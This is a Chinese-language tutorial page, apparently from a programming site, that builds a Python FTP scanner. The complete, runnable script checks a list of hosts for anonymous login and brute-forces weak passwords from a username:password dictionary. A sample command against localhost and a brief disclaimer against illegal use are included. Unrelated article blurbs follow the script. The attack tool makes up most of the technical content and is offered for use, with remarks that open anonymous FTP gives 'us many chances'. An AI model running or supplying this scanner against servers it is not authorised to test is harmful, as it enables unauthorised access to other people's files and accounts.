Python實(shí)現(xiàn)FTP弱口令掃描器的方法示例
FTP服務(wù)器
FTP服務(wù)器是在互聯(lián)網(wǎng)上提供文件存儲(chǔ)和訪問服務(wù)的計(jì)算機(jī)，它們依照FTP協(xié)議提供服務(wù)。FTP是File Transfer Protocol（文件傳輸協(xié)議）的縮寫。顧名思義，就是專門用來傳輸文件的協(xié)議，簡(jiǎn)單地說，支持FTP協(xié)議的服務(wù)器就是FTP服務(wù)器
FTP是僅基于TCP的服務(wù)，不支持UDP（想想也是，傳輸文件，肯定要穩(wěn)定可靠，建立連接，所以不支持UDP）。與眾不同的是FTP使用2個(gè)端口，一個(gè)數(shù)據(jù)端口，一個(gè)命令端口（也叫控制端口）。通常來說這兩個(gè)端口分別是21（命名端口）和20（數(shù)據(jù)端口）。但由于FTP工作方式的不同，數(shù)據(jù)端口并不總是20.這就是主動(dòng)與被動(dòng)FTP的最大不同之處。
- 主動(dòng)FTP
FTP服務(wù)器的控制端口是21，數(shù)據(jù)端口是20，所以在做靜態(tài)映射的時(shí)候只需開放21端口即可，他會(huì)用20端口和客戶端主動(dòng)發(fā)起連接
- 被動(dòng)FTP
服務(wù)器的控制端口是21，數(shù)據(jù)端口是隨機(jī)的，且是客戶端去連接對(duì)應(yīng)的數(shù)據(jù)端口，所以在做靜態(tài)映射的話只開放21端口不可以的
FTP掃描的實(shí)現(xiàn)方案
掃描匿名FTP
FTP匿名登陸的掃描主要應(yīng)用與批量掃描中，單獨(dú)針對(duì)一個(gè)FTP服務(wù)器進(jìn)行掃描的話成功率比較小。很多網(wǎng)站都開放FTP服務(wù)方便用戶下載資源（這個(gè)允許匿名登陸不足為奇），更瘋狂的是網(wǎng)站管理人員為了方便網(wǎng)站訪問軟件的更新也開放了FTP匿名登陸，這樣就給了我們很多機(jī)會(huì)，尤其后者的服務(wù)器很容易受到攻擊
掃描FTP弱口令
弱口令掃描其實(shí)只是掃描一些簡(jiǎn)單的密碼組合，并不是所有可能的密碼組合
步驟
FTP匿名掃描器的實(shí)現(xiàn)
這里需要用到Python的 ftplib 庫中的FTP這個(gè)類，這個(gè)類實(shí)現(xiàn)了FTP客戶端的大多數(shù)功能，比如連接FTP服務(wù)器、查看服務(wù)器中的文件、上傳、下載文件等功能，詳細(xì)用法可以查看API，接下來我們首先定義 anonScan(hostname) 這個(gè)函數(shù)以實(shí)現(xiàn)掃描可匿名登陸的FTP服務(wù)器。代碼如下：
def anonScan(hostname): # 參數(shù)是主機(jī)名
try:
with FTP(hostname) as ftp: # 創(chuàng)建FTP對(duì)象
ftp.login() # FTP匿名登陸
print("\n[*]" + str(hostname) + " FTP Anonymous login successful!")
return True
except Exception as e: # 拋出異常表示匿名登陸失敗
print("\n[-]" + str(hostname) + " FTP Anonymous login failure!")
return False
代碼很簡(jiǎn)短，注釋也寫的很清楚。這里還是說一下函數(shù)的思路，首先用主機(jī)名構(gòu)造了一個(gè)FTP對(duì)象（即ftp），然后用ftp調(diào)用不帶參數(shù)的login()函數(shù)即表示要匿名登陸這個(gè)FTP服務(wù)器，如果登陸過程中沒有產(chǎn)生異常，則表明匿名登陸成功，否則匿名登陸失敗
FTP弱口令的掃描
FTP弱口令掃描依賴于用戶名和密碼字典，密碼字典 下載 ，下載之后我們將其命名為 pwd.txt
接下來針對(duì)字典中的格式來實(shí)現(xiàn)FTP弱口令掃描，創(chuàng)建代碼文件 ftpScanner.py ，代碼如下：
def vlcLogin(hostname, pwdFile): # Parameters (hostname, dictionary file)
try:
with open(pwdFile, 'r') as pf: # Open dictionary file
for line in pf.readlines():
userName = line.split(':')[0] # Fetch username
passWord = line.split(':')[1].strip('\r').strip('\n') # Fetch password
print('[+] Trying: ' + userName + ':' + passWord)
try:
with FTP(hostname) as ftp:
ftp.login(userName, passWord)
print('\n[+] ' + str(hostname) + ' FTP Login successful: '+ \
userName + ':' + passWord)
return (userName, passWord)
except Exception as e:
# Continue trying other usernames and passwords
pass
except IOError as e:
print('Error: the password file does not exist!')
print('\n[-] Cannot crack the FTP password, please change the password dictionary try again!')
return (None,None)
這段代碼其實(shí)就是循環(huán)從字典中讀取用戶名和密碼并嘗試登陸，登陸成功則表明找到用戶名和密碼。由于這個(gè)函數(shù)將主機(jī)名定義成了可以用 , 分割的字符串。找到密碼并不會(huì)終止程序，而是會(huì)繼續(xù)掃描其他主機(jī)的弱口令，直到所有的主機(jī)都掃描一遍
命令行解析
至此，F(xiàn)TP掃描器幾乎已經(jīng)完成了，現(xiàn)在我們要做的是讓我們的腳本可以處理命令行輸入，以控制掃描哪些主機(jī)。命令行參數(shù)我們將用到Python中的 argparse 庫。
parser = argparse.ArgumentParser(description='FTP Scanner')
parser.add_argument('-H',dest='hostName',help='The host list with ","space')
parser.add_argument('-f',dest='pwdFile',help='Password dictionary file')
options = None
try:
options = parser.parse_args()
except:
print(parser.parse_args(['-h']))
exit(0)
hostNames = str(options.hostName).split(',')
pwdFile = options.pwdFile
整合全部代碼
# -*- coding: utf-8 -*-
from ftplib import *
import argparse
import time
# Anonymous login scan
def anonScan(hostname): # The parameter is the host name
try:
with FTP(hostname) as ftp: # Create FTP object
ftp.login() # FTP anonymous login
print("\n[*]" + str(hostname) + " FTP Anonymous login successful!")
return True
except Exception as e: # Throwing an exception indicates that the anonymous login failed
print("\n[-]" + str(hostname) + " FTP Anonymous login failure!")
return False
# Brute force
def vlcLogin(hostname, pwdFile): # Parameters (hostname, dictionary file)
try:
with open(pwdFile, 'r') as pf: # Open dictionary file
for line in pf.readlines():
userName = line.split(':')[0] # Fetch username
passWord = line.split(':')[1].strip('\r').strip('\n') # Fetch password
print('[+] Trying: ' + userName + ':' + passWord)
try:
with FTP(hostname) as ftp:
ftp.login(userName, passWord)
print('\n[+] ' + str(hostname) + ' FTP Login successful: '+ \
userName + ':' + passWord)
return (userName, passWord)
except Exception as e:
# Continue trying other usernames and passwords
pass
except IOError as e:
print('Error: the password file does not exist!')
print('\n[-] Cannot crack the FTP password, please change the password dictionary try again!')
return (None,None)
def main():
parser = argparse.ArgumentParser(description='FTP Scanner')
parser.add_argument('-H',dest='hostName',help='The host list with ","space')
parser.add_argument('-f',dest='pwdFile',help='Password dictionary file')
options = None
try:
options = parser.parse_args()
except:
print(parser.parse_args(['-h']))
exit(0)
hostNames = str(options.hostName).split(',')
pwdFile = options.pwdFile
if hostNames == ['None']:
print(parser.parse_args(['-h']))
exit(0)
for hostName in hostNames:
username = None
password = None
if anonScan(hostName) == True:
print('Host: ' + hostName + ' Can anonymously!')
elif pwdFile != None:
(username,password) = vlcLogin(hostName,pwdFile)
if password != None:
print('\n[+] Host: ' + hostName + 'Username: ' + username + \
'Password: ' + password)
print('\n[*]-------------------Scan End!--------------------[*]')
if __name__ == '__main__':
main()
測(cè)試掃描
至此就可以測(cè)試我們的FTP弱口令掃描器了，在命令行中輸入
python ftpScanner.py -H 127.0.0.1 -f pwd.txt
因?yàn)槲冶镜夭]有開啟ftp服務(wù)，所以掃描不成功，大家可以嘗試在服務(wù)器上開放FTP服務(wù)，然后進(jìn)行測(cè)試，絕對(duì)不能用于非法用途
以上就是本文的全部?jī)?nèi)容，希望對(duì)大家的學(xué)習(xí)有所幫助，也希望大家多多支持腳本之家。
相關(guān)文章
這篇文章介紹了Linux環(huán)境下安裝python3的方法，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2022-07-07
Go1.16版本中,對(duì)目錄遍歷進(jìn)行了顯著的優(yōu)化,新增的接口os.ReadDir、(*os.File).ReadDir和filepath.WalkDir使用fs.DirEntry代替os.FileInfo,減少了系統(tǒng)調(diào)用次數(shù),提高了遍歷效率,測(cè)試顯示,優(yōu)化后的遍歷速度比原先快了480%2024-10-10
python使用Queue在多個(gè)子進(jìn)程間交換數(shù)據(jù)的方法
這篇文章主要介紹了python使用Queue在多個(gè)子進(jìn)程間交換數(shù)據(jù)的方法,實(shí)例分析了Queue實(shí)現(xiàn)進(jìn)程間數(shù)據(jù)交互的技巧,需要的朋友可以參考下2015-04-04
python計(jì)算無向圖節(jié)點(diǎn)度的實(shí)例代碼
今天小編就為大家分享一篇python計(jì)算無向圖節(jié)點(diǎn)度的實(shí)例代碼，具有很好的參考價(jià)值，希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2019-11-11
這篇文章主要介紹了簡(jiǎn)單介紹Python中的JSON模塊,包括初步的從Python中的數(shù)據(jù)格式轉(zhuǎn)換為JSON格式等,需要的朋友可以參考下2015-04-04
python輸出100以內(nèi)的質(zhì)數(shù)與合數(shù)實(shí)例代碼
本文通過實(shí)例代碼給大家介紹了python輸出100以內(nèi)的質(zhì)數(shù)與合數(shù)的方法，非常不錯(cuò)，具有一定的參考借鑒價(jià)值，需要的朋友參考下吧2018-07-07
今天小編就為大家分享一篇對(duì)Python獲取屏幕截圖的4種方法詳解，具有很好的參考價(jià)值，希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2019-08-08
Python 實(shí)現(xiàn)一行輸入多個(gè)數(shù)字(用空格隔開)
這篇文章主要介紹了Python 實(shí)現(xiàn)一行輸入多個(gè)數(shù)字，文中通過示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-04-04
詳解TensorFlow2實(shí)現(xiàn)前向傳播
這篇文章主要介紹了TensorFlow2如何實(shí)現(xiàn)前向傳播，本文給大家介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值，需要的朋友可以參考下2021-09-09
Python基于opencv調(diào)用攝像頭獲取個(gè)人圖片的實(shí)現(xiàn)方法
今天小編就為大家分享一篇關(guān)于Python基于opencv調(diào)用攝像頭獲取個(gè)人圖片的實(shí)現(xiàn)方法，小編覺得內(nèi)容挺不錯(cuò)的，現(xiàn)在分享給大家，具有很好的參考價(jià)值，需要的朋友一起跟隨小編來看看吧2019-02-02